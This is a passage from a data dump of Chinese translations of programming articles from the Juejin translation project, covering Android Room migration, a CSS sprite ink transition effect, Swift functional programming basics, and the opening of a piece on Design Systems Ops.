\n          version = <incremented_sqlite_version>)\npublic abstract class AppDatabase extends RoomDatabase {\n    private static UsersDatabase INSTANCE;\n    static final Migration      MIGRATION_<sqlite_version>_<incremented_sqlite_version> \n= new Migration(<sqlite_version>, <incremented_sqlite_version>) {\n         @Override public void migrate(\n                    SupportSQLiteDatabase database) {\n           // 因为我们并没有对表进行更改，\n           // 所以这里没有什么要做的 \n         }\n    };\n```\n\n### 更新使用 SQLiteOpenHelper 的类\n\n一开始，我们的 `LocalDataSource` 类使用 `CustomOpenHelper` 进行工作，现在我要把它更新为使用 `**SupportSQLiteOpenHelper**`，这个类可以从  [`RoomDatabase.getOpenHelper()`](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.html#getOpenHelper%28%29) 获得。\n\n```\npublic class LocalUserDataSource {\n    private SupportSQLiteOpenHelper mDbHelper;\n    LocalUserDataSource(@NonNull SupportSQLiteOpenHelper helper) {\n       mDbHelper = helper;\n    }\n```\n\n因为 `SupportSQLiteOpenHelper` 并不是直接继承 `SQLiteOpenHelper`，而是对它的一层包装，我们需要更改获得可写可读数据库的调用方式，并使用 `SupportSQLiteDatabase` 而不再是 `SQLiteDatabase`。\n\n```\nSupportSQLiteDatabase db = mDbHelper.getWritableDatabase();\n```\n\n[`SupportSQLiteDatabase`](https://developer.android.com/reference/android/arch/persistence/db/SupportSQLiteDatabase.html) 是一个数据库抽象层，提供类似 `SQLiteDatabase` 中的方法。因为它提供了一个更简洁的 API 去执行插入和查询数据库的操作，代码相比以前也需要做一些改动。\n\n对于插入操作，Room 移除了可选的 `nullColumnHack` 参数。使用 [`SupportSQLiteDatabase.insert`](https://developer.android.com/reference/android/arch/persistence/db/SupportSQLiteDatabase.html#insert%28java.lang.String,%20int,%20android.content.ContentValues%29) 代替 [`SQLiteDatabase.insertWithOnConflict`](https://developer.android.com/reference/android/database/sqlite/SQLiteDatabase.html#insertWithOnConflict%28java.lang.String,%20java.lang.String,%20android.content.ContentValues,%20int%29)。\n```\n@Override\npublic void insertOrUpdateUser(User user) {\n    SupportSQLiteDatabase db = mDbHelper.getWritableDatabase();\n\n    ContentValues values = new ContentValues();\n    values.put(COLUMN_NAME_ENTRY_ID, user.getId());\n    values.put(COLUMN_NAME_USERNAME, user.getUserName());\n\n    - db.insertWithOnConflict(TABLE_NAME, null, values,\n    -        SQLiteDatabase.CONFLICT_REPLACE);\n    + db.insert(TABLE_NAME, SQLiteDatabase.CONFLICT_REPLACE,\n    + values);\n    db.close();\n}\n```\n\n要查询的话，`SupportSQLiteDatabase` 提供了4种方法：\n\n```\nCursor query(String query);\nCursor query(String query, Object[] bindArgs);\nCursor query(SupportSQLiteQuery query);\nCursor query(SupportSQLiteQuery query, CancellationSignal cancellationSignal);\n```\n\n如果你只是简单地使用原始的查询操作，那在这里就没有什么要改的。如果你的查询是较复杂的，你就得通过 [`SupportSQLiteQueryBuilder`](https://developer.android.com/reference/android/database/sqlite/SQLiteQueryBuilder.html) 创建一个 [`SupportSQLiteQuery`](https://developer.android.com/reference/android/arch/persistence/db/SupportSQLiteQuery.html)。\n\n举个例子，我们有一个 `users` 表，只想获得表中按名字排序的第一个用户。下面就是实现方法在`SQLiteDatabase` 和 `SupportSQLiteDatabase` 中的区别。\n\n```\npublic User getFirstUserAlphabetically() {\n        User user = null;\n        SupportSQLiteDatabase db = mDbHelper.getReadableDatabase();\n        String[] projection = {\n                COLUMN_NAME_ENTRY_ID,\n                COLUMN_NAME_USERNAME\n        };\n    \n        // 按字母顺序从表中获取第一个用户\n        - Cursor cursor = db.query(TABLE_NAME, projection, null,\n        - null, null, null, COLUMN_NAME_USERNAME + “ ASC “, “1”);\n        \n        + SupportSQLiteQuery query =\n        +  SupportSQLiteQueryBuilder.builder(TABLE_NAME)\n        +                           .columns(projection)\n        +                           .orderBy(COLUMN_NAME_USERNAME)\n        +                           .limit(“1”)\n        +                           .create();\n        \n        + Cursor cursor = db.query(query);\n        \n        if (c !=null && c.getCount() > 0){\n            // read data from cursor\n              ...\n        }\n        if (c !=null){\n            cursor.close();\n        }\n        db.close();\n        return user;\n    }\n```\n\n> 如果你没有对你的 SQLiteOpenHelper 实现类进行测试的话，那我强烈推荐你先测试下再进行这个迁移的工作，避免产生相关 bug。\n\n### 其余的 PR\n\n既然你的数据层已经在使用 Room，你可以开始逐渐创建 DAO 类（附带测试）并通过 DAO 的调用替代 `Cursor` 和 `ContentValue` 的代码。\n\n像在 `users` 表中按名字顺序查询第一个用户这个操作应该定义在 `UserDao` 接口中。\n\n```\n@Dao\npublic interface UserDao {\n    @Query(“SELECT * FROM Users ORDERED BY name ASC LIMIT 1”)\n    User getFirstUserAlphabetically();\n}\n```\n\n这个方法会在 `LocalDataSource` 中被调用。\n\n```\npublic class LocalDataSource {\n     private UserDao mUserDao;\n     public User getFirstUserAlphabetically() {\n        return mUserDao.getFirstUserAlphabetically();\n     }\n}\n```\n\n* * *\n\n在单一一个 PR 中，把 SQLite 迁移一个大型的数据库到 Room 会生成很多新文件和更新过后的文件。这需要一定时间去实现，因此导致 PR 更难检查。在最开始的 PR，先使用 `RoomDatabase` 提供的 OpenHelper 从而让代码最小程度地改动，然后在接下来的 PR 中才逐渐创建 DAO 类去替换 `Cursor` 和 `ContentValue` 的代码。\n\n想了解 Room 的更多相关信息，请阅读下面这些文章：\n\n- [**7 Pro-tips for Room**: _Learn how you can get the most out of Room_medium.com](https://medium.com/google-developers/7-pro-tips-for-room-fbadea4bfbd1)\n- [**Understanding migrations with Room**: _Performing database migrations with the SQLite API always made me feel like I was defusing a bomb — as if I was one…_medium.com](https://medium.com/google-developers/understanding-migrations-with-room-f01e04b07929)\n- [**Testing Room migrations**: _In a previous post I explained how database migrations with Room work under the hood. We saw that an incorrect…_medium.com](https://medium.com/google-developers/testing-room-migrations-be93cdb0d975)\n- [**Room 🔗 RxJava**: _Doing queries in Room with RxJava_medium.com](https://medium.com/google-developers/room-rxjava-acb0cd4f3757)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/ink-transition-effect.md",
    "content": ">* 原文链接 : [Ink Transition Effect](https://codyhouse.co/gem/ink-transition-effect/)\n* 原文作者 : [Claudia Romano](https://twitter.com/romano_cla)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [L9m](https://github.com/L9m)\n* 校对者: [hikerpig](https://github.com/hikerpig), [sqrthree](https://github.com/sqrthree)\n\n# 使用 CSS 和 jQuery 来做一个墨水晕开的效果\n\n一个用 CSS 动画实现的墨水晕开过渡效果。\n\n我最近遇到有几个网站使用墨水晕开作为过渡效果。 一个很好的例子是 [Sevenhills website](http://www.sevenhillswholefoods.com/experience/)。起初我以为他们使用 HTML canvas 来实现(允许透明度)， 然后我查看源代码发现他们并没有使用视频，而是一个 PNG 雪碧图。\n\n通过用一个 PNG 雪碧图和 CSS 中的 **steps()** 定时方法，我们能创建视频效果并使用它们作为过渡。 在我们的方法中， 我们使用这种手段去触发一个模态窗口，但你也能使用它作为两个页面之间的过渡效果。\n\n创建这些效果的过程很简单，让我来给你详细分解：\n\n首先，你需要一个有填充效果的视频和一个透明区域。 然后你需要把这个视频导出为 PNG 序列。我们使用 After Effects 导出这个队列（确保导出 alpha 通道）。\n\n![ae-01](https://0bf196087c14ed19d1f11cf1-ambercreativelab.netdna-ssl.com/wp-content/uploads/2016/03/ae-01.png)\n\n因为我们的视频由25帧组成，导出 25 张 PNG 图片资源。 只是为了给你更好设置组成的更多信息， 我们创建了一个宽高为 640x360px 帧率为 25，时长为 1 秒的视频。\n\n![ae-02](https://0bf196087c14ed19d1f11cf1-ambercreativelab.netdna-ssl.com/wp-content/uploads/2016/03/ae-02.png)\n\n最后乏味的部分：你需要创建一个将所有帧包含在同一行的 PNG 图片。我们手动在 Photoshop 中将所有帧组合在一个 16000×360 像素的图片中。\n\n![png-sequence-preview](https://0bf196087c14ed19d1f11cf1-ambercreativelab.netdna-ssl.com/wp-content/uploads/2016/03/png-sequence-preview.png)\n\n为了将序列变成一个视频，我们只需要平移这个 PNG 雪碧图，然后使用 **steps()** 方法定义帧的数目。\n\n你想学习更多关于 CSS 变换和动画的相关内容吗？[查看我们的 课程](https://codyhouse.co/course/mastering-css-transitions-transformations-animations/) ;)\n\n现在让我们进入代码！\n\n## 创建结构\n\n **HTML 结构** 由三个元素组成：一个 `main.cd-main-content` 容纳页面主要内容，一个 `div.cd-modal` 容纳一个模态窗口和一个 `div.cd-transition-layer` 包含过渡层。\n\n    <main class=\"cd-main-content\">\n        <div class=\"center\">\n            <h1>Ink Transition Effect</h1>\n            <a href=\"#0\" class=\"cd-btn cd-modal-trigger\">Start Effect</a>\n        </div>\n    </main> <!-- .cd-main-content -->\n\n    <div class=\"cd-modal\">\n        <div class=\"modal-content\">\n            <h1>My Modal Content</h1>\n\n            <p>\n                Lorem ipsum dolor sit amet, consectetur adipisicing elit. \n                Ad modi repellendus, optio eveniet eligendi molestiae? \n                Fugiat, temporibus! \n            </p>\n        </div> <!-- .modal-content -->\n\n        <a href=\"#0\" class=\"modal-close\">Close</a>\n    </div> <!-- .cd-modal -->\n\n    <div class=\"cd-transition-layer\"> \n        <div class=\"bg-layer\"></div>\n    </div> <!-- .cd-transition-layer -->\n\n## 增加样式\n\n这`.cd-modal` 窗口最初的CSS属性 visibility: hidden， height: 100% 和 width: 100% 并且使用固定定位。\n当用户点击 `a.cd-modal-trigger`，模态窗口变为可见，并且它的透明度变为 1 （使用 `.visible` 类）。\n\n    .cd-modal {\n      position: fixed;\n      top: 0;\n      left: 0;\n      z-index: 3;\n      height: 100%;\n      width: 100%;\n      opacity: 0;\n      visibility: hidden;\n    }\n    .cd-modal.visible {\n      opacity: 1;\n      visibility: visible;\n    }\n\n这 `div.cd-transition-layer` 元素用来创建墨水过渡效果：visibility: hidden，height: 100% 和 width: 100% 并且使用固定定位。\n\n    .cd-transition-layer {\n      position: fixed;\n      top: 0;\n      left: 0;\n      z-index: 2;\n      height: 100%;\n      width: 100%;\n      opacity: 0;\n      visibility: hidden;\n      overflow: hidden;\n    }\n\n它的子元素 `div.bg-layer` 使用 ink.png 雪碧图作为背景， background-size: 100%， height: 100% 和 width: 2500% (ink.png 雪碧图 由 25 帧组成)；它的 left/top/translate 值设置为最初 ink.png 雪碧图第一帧在 `div.cd-transition-layer`居中：\n\n    .cd-transition-layer .bg-layer {\n      position: absolute;\n      left: 50%;\n      top: 50%;\n      transform: translateY(-50%) translateX(-2%);\n      height: 100%;\n      /* our sprite is composed of 25 frames */\n      width: 2500%;\n      background: url(../img/ink.png) no-repeat 0 0;\n      background-size: 100% 100%;\n    }\n\n你可能使用以下方式在父元素中居中一个元素：\n\n    position: absolute;\n    left: 50%;\n    top: 50%;\n    transform: translateY(-50%) translateX(-50%);\n\n在我们的例子中，虽然我们想要居中 ink.png 雪碧图的第一帧，因为  `div.bg-layer`  宽度为父元素宽度的 25 倍，我们可以使用 translateX(-(50/25)%)。\n\n为了创建墨水动画，我们改变 `div.bg-layer` 的  translate 值； 我们定义 `cd-sequence` 关键帧规则：\n\n    @keyframes cd-sequence {\n      0% {\n        transform: translateY(-50%) translateX(-2%);\n      }\n      100% {\n        transform: translateY(-50%) translateX(-98%);\n      }\n    }\n\n这样，在动画的最后，ink.png 雪碧图将在 `div.cd-transition-layer` 元素内呈现。\n\n记住：因为我们有25帧，展示最后一帧你需要把 translate 设置为 `.bg-layer` of -100% * (25 – 1) = -96%；但另外，基于它的父元素居中， 你需要额外增加 -2%。\n\n当用户点击 `a.cd-modal-trigger`，`.visible` 添加到  `.cd-transition-layer` 上而显示它，当 `.opening` 类来触发墨水动画：\n\n    .cd-transition-layer.visible {\n      opacity: 1;\n      visibility: visible;\n    }\n    .cd-transition-layer.opening .bg-layer {\n      animation: cd-sprite 0.8s steps(24);\n      animation-fill-mode: forwards;\n    }\n\n然后我们使用 `steps()` 方法: 因为不想不断地修改 translate 值，而是通过固定的步调来改变以一次显示一帧; 步数比我们的帧数少一。\n\n## 事件处理\n\n当用户点击 `a.cd-modal-trigger` 或 `.modal-close` 打开/关闭 模态窗口，我们使用 jQuery 增加/移除类。\n\n另外，为了不修改帧的宽高比， 我们改变 `.bg-layer` 的尺寸。 在 style.css 文件中，我们设置 `.bg-layer` 高度和宽度使帧的宽高等于一个视口宽高。视口和帧可能拥有不同的宽高比而导致帧的扭曲。  `setLayerDimensions()` 方法防止这种情况的发生：\n\n    var frameProportion = 1.78, //png frame aspect ratio\n        frames = 25, //number of png frames\n        resize = false;\n\n    //set transitionBackground dimentions\n    setLayerDimensions();\n    $(window).on('resize', function(){\n        if( !resize ) {\n            resize = true;\n            (!window.requestAnimationFrame) ? setTimeout(setLayerDimensions, 300) : window.requestAnimationFrame(setLayerDimensions);\n        }\n    });\n\n    function setLayerDimensions() {\n        var windowWidth = $(window).width(),\n            windowHeight = $(window).height(),\n            layerHeight, layerWidth;\n\n        if( windowWidth/windowHeight > frameProportion ) {\n            layerWidth = windowWidth;\n            layerHeight = layerWidth/frameProportion;\n        } else {\n            layerHeight = windowHeight;\n            layerWidth = layerHeight*frameProportion;\n        }\n\n        transitionBackground.css({\n            'width': layerWidth*frames+'px',\n            'height': layerHeight+'px',\n        });\n\n        resize = false;\n    }\n\n\n\n\n</div>\n\n</div>\n"
  },
  {
    "path": "TODO/intro-to-swift-functional-programming-with-bob.md",
    "content": "> * 原文地址：[Intro to Swift Functional Programming with Bob](https://medium.com/ios-geek-community/intro-to-swift-functional-programming-with-bob-9c503ca14f13#.i3o0lngnq)\n* 原文作者：[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[thanksdanny](http://thanksdanny.mobi)，[Germxu](https://github.com/Germxu)\n\n# Bob，函数式编程是什么鬼？\n\n## 写给年轻的自己的教程\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*AHNKmNnflyMN2zfQh9Cb4Q.png\">\n\n老司机怎么开车，我们就怎么开\n\n### 函数式编程？\n\n你懂的。很多人都讨论它。你 Google 一下然后看了看前五篇文章，令人沮丧的是，你发现大部分文章只给出一个含糊不清的 Wikipedia 定义，像是：\n\n> “函数式编程是一种编程范式，能让你的代码清晰又明确，没有变量也没有状态。”\n\n和你一样，老兄，事实上，我也这样搜索过。我温柔地做了个捂脸的表情，并轻声回应道：\n\n> 这 TM 是啥？\n\n#### **先决条件**\n\n和闭包很像。如果你不理解什么是后进和关键标识，比如 $0，那你还没做好阅读这篇教程的准备。你可以暂时离开，找[这里](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/WORK.html)的资源来升升级。\n\n### 非函数式编程\n\n我是十万个为什么。为什么要学习函数式编程？好吧，最好的答案往往来自于历史。假设你要创建一个添加一个数组的计算器应用。\n\n```\n// Somewhere in ViewController\n\nlet numbers = [1, 2, 3]\nvar sum = 0 \n\nfor number in numbers {\n sum += number\n}\n```\n\n没问题，但是如果我再添加一个呢？\n\n```\n// Somewhere in NextViewController \n\nlet newNumbers = [4, 5, 6]\nvar newSum = 0\n\nfor newNumber in numbers {\n newSum += newNumber\n}\n```\n\n这看起来就像我们重复我们自己，又长又无聊，还没必要。你不得不创建一个 `sum` 来记录添加的结果。这很让人崩溃，五行代码。我们最好创建一个函数代替这些玩意。\n\n```\nfunc saveMeFromMadness(elements: [Int]) -> Int {\n var sum = 0\n\n for element in elements {\n  sum += element\n }\n\n return sum\n}\n```\n\n这样在需要使用 `sum` 的地方，直接调用\n\n```\n// Somewhere in ViewController\nsaveMeFromMadness(elements: [1, 2, 3])\n\n// Somewhere in NextViewController\nsaveMeFromMadness(elements: [4, 5, 6])\n```\n\n**停下别动，对。你现在已经尝试了一个函数式范式的使用。函数式就是用函数来得到你想要的结果。**\n\n### 比喻 ###\n\n在 Excel 或者 Google 的 Spreadsheet 上，如果要对一些值求和，你需要选择表格，然后调用一个像是 C# 编写的函数。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FT4PCQ2PjKkuX1KcNhk8Yw.gif\">\n\nExcel 里的求和函数\n\n*好，就是这样，再见。感谢阅读。* 😂\n\n### 声明式 vs 命令式 \n\n最后，现在，是时候拿出详细的函数式编程定义了。\n\n#### **声明式** ####\n\n我们经常把函数式编程描述为**声明式**的。**你无须在意这个答案从何而来**。举个例子，一个人来爬珠穆朗玛峰，可能从飞机上跳下去，也可能花好几年从地下开始爬。**你会得到同样的结果**。人们往往不知道 Excel 表格里的 `Sum` 是怎么组成的，但是，它就是得到相应的结果。\n\n一个残酷的例子，众所周知的非函数式编程，我们经常看到上面的调用被称为**命令式**。它告诉你**如何（how）**得到从 A 到 B 的答案。\n\n```\nlet numbers = [1, 2, 3]\nvar sum = 0\n\nfor number in numbers {\n sum += number\n}\n```\n\n人们知道你循环了 `numbers`。**但是，这有必要么？**我不在意它是怎么做的，我只在意结果的出来的迅速快捷。\n\n因此，Excel 和 Spreadsheet 融合了函数式编程的范式，来更快更简单的获取结果，而不需要关心具体的实现。（我父亲也没必要在处理公司财务数据的时候关心它）\n\n### 其他的好处 ###\n\n在上面那个让人崩溃的例子里，我们不得不创建一个 `var sum = 0` 来跟踪每个视图控制器的增加结果。但是这有必要吗？`sum` 的值不断改变，如果我弄乱了总和怎么办？而且，我在[10 条 tips 让你成为一个更好的 Swift 开发者](https://medium.com/ios-geek-community/10-tips-to-become-better-swift-developer-a7c2ab6fc0c2#.rcnngphgj)中提到过，\n\n\n更多的变量 → 更多记忆 → 更多头痛 → 更多 bug → 更多的生活问题。\n\n更多的变量 → 容易 TM 的 → 完蛋\n\n> **因此，函数式范式确保在使用的时候不可变或者没有状态的变化。**\n\n而且，和你意识到的或即将发现的一样，函数式范式提供了一个更利于维护代码的模型。\n\n### 目的 ###\n\n那好，现在你明白了为什么我们喜欢函数式编程。所以呢？嗯，这篇教程，**只专注于基本面**。我不会讨论函数式编程在事件和网络等等中的应用。我可能会发一些通过 RxSwift 来做这些事的教程。所以说如果你是新手，跟着我，螺旋稳。\n\n![](http://pic.7230.com/Uploads/Picture/2016-12-23/585cc99f0000f.png)\n（译者配的图 😂 ）\n\n### 真正的工作 ###\n\n你可能已经见过像 `filter`、`map`、`reduce` 等等的一些东西。不错，这些让你用函数式的途径中的**过滤器**来处理一个数组。确保你对泛型的理解同样的酷。\n\n这全是关于基本面的东西。如果我能教你如何在泳池里游泳，那你也可以在海里，湖里，池塘里，泥坑里（最好不是）游泳，这这篇教程，如果你学会了基本面，你就可以创建你自己的 `map` 和 `reduce` 或者其他你想要的炫酷函数。你可以 google 东西，否则，你不会从我这里得到这个叫“Bob”的开发者的解释了。\n\n### 过滤器 ###\n\n假设你有个数组。\n\n```\nlet recentGrade = [\"A\", \"A\", \"A\", \"A\", \"B\", \"D\"] // My College Grade\n```\n\n你想要过滤/带来并且返回一个只包含 “A” 的数组，这能让我妈妈感到快乐。你怎么用**命令式**的方式来做这个？\n\n```\nvar happyGrade: [String] = []\n\nfor grade in recentGrade {\n if grade == \"A\" {\n  happyGrade.append(grade)\n } else {\n  print(\"Ma mama not happy\")\n }\n}\n\nprint(happyGrade) // [\"A\", \"A\", \"A\", \"A\"]\n```\n\n**这简直让人发疯。**我竟然写了这种代码。我不会在校对的时候重新检查，这很残忍。视图控制器中的8行代码？🙃\n\n> *不堪回首*。\n\n我们必须停止这种疯狂，并拯救所有像你这么做的人。让我们创建一个函数来完成它。振作起来。**我们现在要对付一下闭包了**。让我们试着创建一个过滤器来完成和上面一样的工作。**真正麻烦现在来了。**\n### 函数式的方式简介 ###\n\n现在我们创建一个函数，有一个包含 `String` 类型的数组并且有个闭包，类型是 `(String) -> Bool`。最后，它返回一个过滤后的 `String` 数组。为啥？忍我两分钟就告诉你。\n\n```\nfunc stringFilter(array: [String], **returnBool: (String) -> Bool**) -> [String] {}\n```\n\n你可能会对 `returnBool` 部分特别苦恼。我知道你在想什么，\n\n> 那么，我们要在返回 **Bool** 下传递什么？\n\n你需要创建一个闭包，包含一个 if-else 语句来判断数组里是否含有 “A”。如果有，返回 `true`。\n\n```\n// A closure for returnBool \nlet mumHappy: (String) -> Bool = { grade in return grade == \"A\" }\n```\n\n如果你想让他更短，\n\n```\nlet mamHappy: (String) -> Bool = { $0 == \"A\" }\n\nmamHappy(\"A\") // return true \nmamHappy(\"B\") // return false\n```\n\n**如果你对上面的两个例子感到困惑，那你还适应不了这个副本。你需要锻炼一下然后再回来。你可以重读我关于闭包的文章**。[**链接**](https://medium.com/ios-geek-community/no-fear-closure-in-swift-3-with-bob-72a10577c564#.uzdsqd7oa)\n\n由于还没完成我们 `stringFilter` 函数的实现，让我们从离开的位置继续。\n\n```\nfunc stringFilter (grade: [String], returnBool: (String) -> Bool)-> [String] {\n\n var happyGrade: [String] = []\n for letter in grade {\n  if returnBool(letter) {\n   happyGrade.append(letter)\n  }\n\n }\n return happyGrade\n}\n```\n\n你的表情一定是 😫。我想说把刀放下，听我解释。通过 `stringFilter` 函数，你可以传递 `mamHappy` 作为 `returnBool`。然后调用 `returnBool(letter)`，把每个项传递个 `mamHappy`，最终就是 `mamHappy(letter)`。\n\n它返回 `true` 或者 `false`。如果返回真，把 `letter` 加到只有 “A” 的 `happyGrade` 里。🤓 这就是为什么我妈妈在过去 12 年里感到开心的原因。\n\n不管怎样，最终运行一下函数。\n\n```\nlet myGrade = [\"A\", \"A\", \"A\", \"A\", \"B\", \"D\"]\n\nlet lovelyGrade = stringFilter(grade: myGrade, returnBool: **mamHappy**)\n```\n\n### 直接输入闭包 ###\n\n其实你不需要创建一个分离的 `mamHappy`。可以直接在 `returnBool` 传递。\n\n```\nstringFilter(grade: myGrade, returnBool: { grade in\n return grade == \"A\" })\n```\n\n我想让它更简洁。\n\n```\nstringFilter(grade: myGrade, returnBool: { $0 == “A” })\n```\n\n### 肉和土豆 ###\n\n祝贺，如果你已经到了这里，那你已经做到了。我很感谢你的关注。现在让我们创建一个野蛮点的，广为人知的通用过滤器，你可以创建一堆你想要过滤的。比如，过滤你不喜欢的单词，过滤数组里大于 60 小于 100 的数。过滤只包含真值的布尔类型。\n\n最棒的是它用**一句话**就可以形容。我们拯救了生命和时间。爱它，我们可以努力工作，但是我们要聪明的努力工作。\n\n### 泛型代码 ###\n\n如果你对泛型代码感到不适，那你现在所在的位置并不正确，这里车速很快，赶快到安全的地方，名字是“[**Bob，泛型是什么鬼？**](https://medium.com/ios-geek-community/intro-to-generics-in-swift-with-bob-df58118a5001#.z61lki1c5)”，然后带点武器回来继续。\n\n我要创建一个含有 `Bob` 泛型的函数，你可以使用 `T` 或者 `U`。但是你要知道，这是我的文章。\n\n```\nfunc myFilter<Bob>(array: [Bob], logic: (Bob) -> Bool) -> [Bob] {\n var result: [Bob] = []\n for element in array {\n  if logic(element) {\n   result.append(element)\n  }\n }\n return result\n}\n```\n\n让我们试着找点聪明的学生\n\n#### 应用到学校系统 ####\n\n```\nlet AStudent = myFilter(array: Array(1...100), logic: { $0 >= 93 && $0 <= 100 })\n\nprint(AStudent) // [93, 94, 95, ... 100]\n```\n\n#### 应用到投票计数 ####\n\n```\nlet answer = [true, false, true, false, false, false, false]\n\nlet trueAnswer = myFilter(array: answer, logic: { $0 == true })\n\n// Trailing Closure \nlet falseAnswer = myFilter(array: answer) { $0 == false }\n```\n\n### Swift 里的过滤器 ###\n\n幸运的是，我们不需要创建 `myFilter`。Swift 已经为我们提供了一个默认的。现在我们创建一个从一到一百的数组，然后只要小于 51 的偶数。\n\n```\nlet zeroToHund = Array(1…100)\nzeroToHund.filter{ $0 % 2 == 0 }.filter { $0 <= 50 })\n// [2, 4, 6, 8, 10, 12, 14, ..., 50]\n```\n\n> 这就 OK 了。[源码](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/Content/01_Swift_3/Intro_to_Functional_Programming.html) \n\n### 我的消息 ###\n\n我敢肯定你现在已经在想，怎么在你的应用和程序里使用函数式编程。记住，你使用什么语言都无所谓。\n\n你需要清晰的是如何将函数式范式引用到更多的领域。在你 Google 之前，我建议你花一点时间消耗一两个脑细胞想一想。\n\n从你理解 “filter” 背后的真正含义后，你现在可以更简单的 google 然后查看什么是 `map` 和 `reduce`，以及其他函数是怎么组成的。我希望能你在不冷不热的环境中学会游泳。\n\n> 你现在只被你的想象力所限制。保持思考并 Google。\n\n### 最后的话 ###\n\n在我个人看来，这篇文章是黄金。它出现在我被闭包和函数式的东西弄得一脸懵逼的时候。人们都喜欢特别简单的原则。如果你喜欢我的解释，请分享并推荐给更多的人。我收到的心越多，我就会越像抽水泵一样，为每个人献出更伟大的内容！而且，更多的心意味着基于 Medium 算法上的更多观点。\n\n**有 Instagram 上的 geek 吗？我会发布我的一些日常并更新。欢迎大家随时添加我，跟我打招呼！**@[*bobthedev*](https://instagram.com/bobthedev) \n\n### Swift 会议 ###\n\n我的一个葡萄牙朋友 [João](https://twitter.com/NSMyself) 正在葡萄牙阿威罗组织一个 Swift 会议。不像许多人在的那里，这次会议的目的是实验性参与。观众与演讲者可以相互交流 - 带上你的笔记本电脑。这是我第一次的 Swift 会议。我超兴奋！除此之外，它也是经济实惠的。活动会在 2017 年的六月一号到二号举行。如果你有兴趣了解更多信息，请随时查看网站[这里](http://swiftaveiro.xyz)或下面的 Twitter。\n\n[SwiftAveiro (@SwiftAveiro) | Twitter](https://twitter.com/SwiftAveiro) \n\n### 关于我 ###\n\n我在我的 [Facebook 页面](https://www.facebook.com/bobthedeveloper)上给出详细的更新信息。一般在美国东部时间的上午八点，我会发表文章。2017 年，我立志成长为 Medium 上 iOS Geek 社区中第一的 iOS 博客。\n"
  },
  {
    "path": "TODO/introducing-design-systems-ops.md",
    "content": ">* 原文链接 : [Design Systems Ops](https://medium.com/salesforce-ux/introducing-design-systems-ops-7f34c4561ba7#.iumcuwu3v)\n* 原文作者 : [Kaelig](https://medium.com/@kaelig)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [L9m](https://github.com/l9m/)\n* 校对者: [JasinYip](https://github.com/JasinYip), [shenxn](https://github.com/shenxn), [Ruixi](https://github.com/Ruixi)\n\n# 设计师如何跟开发打好关系？\n\n![](https://cdn-images-1.medium.com/max/2000/1*RbwXg-OMlJTG7iiHs4NMQg.jpeg)\n\n<figcaption>Design Systems Ops: 规模化地装运（设计）。</figcaption>\n\n伟大的产品离不开开发和设计的良好沟通。无论你是谁，归根结底，我们都是在创造软件产品。有了设计系统之后，沟通将变得更加简单。\n\n但是谁将建立起设计和开发之间的沟通桥梁呢？\n\n我把这些推动者称为 _Design Systems Ops._\n\nDesign Systems Ops 是设计团队的一部分，他需要足够了解设计，并且要了解他们试图概念化什么。同时，Design Systems Ops 需要理解工程师的需求和定义方法，这将有助于设计系统的装运和规模化。在某些程度上，一个 Design Systems Ops 是两个世界的翻译。\n\n### 大多数公司存在的问题\n\n在大多数组织流程结构中，从概念到用户的过程是相当脱节的，以致于产品最终完成时和设计师的初衷很不一致。\n\n![](https://cdn-images-1.medium.com/max/800/1*NJbl6JkUcbGPLU1bxVW7kw.png)\n\n<figcaption>从概念到用户的一种典型流程是：越靠近用户阶段，还原度越低。</figcaption>\n\n信号（概念）受到干扰（低效率）而逐渐变弱，产品在一个非常低的还原度中结束。这种失败对公司创造高质量产品的能力有着巨大影响，并且造成巨大商业机会的浪费。\n\n### 设计系统能干什么\n\n风格指南、模式库、设计系统等都有助于围绕一种通用的设计语言去规范化实践和设计模式。而语言障碍恰恰是大多数低效率的诱因。\n\n从颜色命名、对象、惯例、组件等开始，到记录最好的最细枝末节的体验，比如动画定时或表单元素的圆角度值。 \n\n一个好的设计系统能让设计决策更快。（比如“ call to action 应该是什么颜色”）。从而设计师可以在同样长的时间里，将更多的时间放在（优化）用户流程和对多种概念的探索上。\n\n一个好的设计系统也是帮助开发团队在开发阶段找到获取设计的唯一来源。这对一致性很有好处，因为所有的 call-to-action 都将表现一致。\n\n![](https://cdn-images-1.medium.com/max/800/1*lIa0DiwLnfc1y14t3KTWpA.png)\n\n<figcaption>设计系统能在这个过程中减少做无用功：还原度一路上将保持大致稳定。</figcaption>\n\n一些设计系统也用代码来传达设计模式。这些设计系统从概念开始阶段，到原型阶段，直到实现阶段都能证明其价值。当公司遵循这种方式，这种方式对于生产效率和还原度都是很有帮助的。\n\n> 一个设计系统不是一个项目，它是一个产品，服务型产品 — Nathan Curtis\n\n然而，一些设计系统并没有获得它们应有的赞许，却沦为设计模式的光荣榜，而这些模式离真正的产品代码非常遥远。这是因为对于几个设计师和工程师的部分投资 [是不足够](https://medium.com/@marcelosomers/a-maturity-model-for-design-systems-93fff522c3ba)的：一个设计系统不是简单一个项目，它是一个产品(或就像 Nathan Curtis[说的](https://medium.com/eightshapes-llc/a-design-system-isn-t-a-project-it-s-a-product-serving-products-74dcfffef935)： 